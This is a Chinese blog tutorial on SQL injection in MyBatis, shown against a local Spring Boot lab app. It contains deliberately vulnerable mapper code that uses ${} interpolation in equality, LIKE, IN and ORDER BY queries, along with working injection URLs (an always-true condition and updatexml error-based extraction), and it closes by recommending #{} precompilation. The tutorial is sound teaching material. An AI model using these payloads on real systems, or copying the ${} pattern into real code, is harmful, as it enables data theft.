[Java安全]—Mybatis注入

前言

Mybatis注入留在了Spring后,因为感觉用Spring搭建web端后再进行注入比较贴合实际一些。

测试环境

Mysql:5.7

Springboot:2.1

mybatis:3.5

数据库

创建了一个测试用的数据库Mybatis

CREATE DATABASE /*!32312 IF NOT EXISTS*/`mybatis` /*!40100 DEFAULT CHARACTER SET utf8 */;

USE `mybatis`;

-- ----------------------------
-- Table structure for users
-- ----------------------------
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users`  (
  `uid` int(10) NOT NULL AUTO_INCREMENT,
  `uname` varchar(10) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL,
  `uage` int(10) NULL DEFAULT NULL,
  PRIMARY KEY (`uid`) USING BTREE
) ENGINE = MyISAM AUTO_INCREMENT = 4 CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;

-- ----------------------------
-- Records of users
-- ----------------------------
INSERT INTO `users` VALUES (1, 'Sentiment', 20);
INSERT INTO `users` VALUES (2, 'Shelter', 20);
INSERT INTO `users` VALUES (3, 'Tana', 18);

在这里插入图片描述

SQL注入的四种方式

这里用的Springboot环境,配置文件较多,先放出关键文件,最终项目放在后边

#{}和${}

接口

List<User> selectOne(@Param("uname") String uname);

配置

<select id="selectOne" resultType="user">
    select * from users where uname = '${uname}'
</select>

测试

@GetMapping("/inject/1")
@ResponseBody
public List<User> selectOne(@RequestParam("uname") String uname) {
    return userService.selectOne(uname);
}

执行语句是select * from users where uname = '${uname}',所以这里就可以直接联想到单引号闭合即可,所以用万能密码1’ or ‘1’='1进行测试

http://127.0.0.1:8080/inject/1?uname=1' or '1'='1

在这里插入图片描述

发现成功注入,但是如果将${}换成#{}后则会报错无法执行,原因在于:#{}相当于是进行了预编译的方式,所以就有效的避免了sql注入问题

模糊查询

这里在前篇提到过模糊查询的三种方式

select * from t_user where username like '%${mohu}%'
select * from t_user where username like "%"#{mohu}"%"
select * from t_user where username like concat('%',#{mohu},'%')

可以看到第二条中,"%"#{mohu}"%"预编译前后的%是独立出来的,而写成'%#{mohu}%'这种形式,预编译时就会将%当做字符来处理从而报错,此时若经验不足将#改成了$即:'%${mohu}%',就会导致SQL注入问题

接口

String selectTwo(@Param("uname") String uname);

配置

<select id="selectTwo" resultType="user">
    select * from users where uname like '%${uname}%'
</select>

测试

这里由于换了查询方式就无法在使用万能密码获取数据,所以这里将返回类型改为了String,这样就可以通过报错信息来获取我们注入的内容

@GetMapping("/inject/2")
@ResponseBody
public String selectTwo(@RequestParam("uname") String uname) {
    try {
        return userService.selectTwo(uname);
    }catch (Throwable e){
        return e.toString();
    }
}
http://127.0.0.1:8080/inject/2?uname=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述


In查询

当查询语句有in是,只需要将in后的内容进行闭合即可绕过

配置

<select id="selectThree" resultType="user">
    select * from users where uid in (${uid})
</select>

其他内容都跟模糊查询一样就不贴了

http://127.0.0.1:8080/inject/3?uid=1)  or updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

在这里插入图片描述

order by注入

和in查询原理基本相同

<select id="selectFour" resultType="user">
    select * from users order by ${uid}
</select>
http://127.0.0.1:8080/inject/4?uid=1 and(updatexml(1,concat(0x7e,(select database())),0));

在这里插入图片描述

综上情况来看,要避免mybatis的注入问题,其实最好的方式就是使用预编译方式

项目文件

链接:https://pan.baidu.com/s/1B3Ui-KeGL001JVgFjs9l5g?pwd=1axd 
提取码:1axd

java -jar mybatis.jar 运行即可

在这里插入图片描述

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值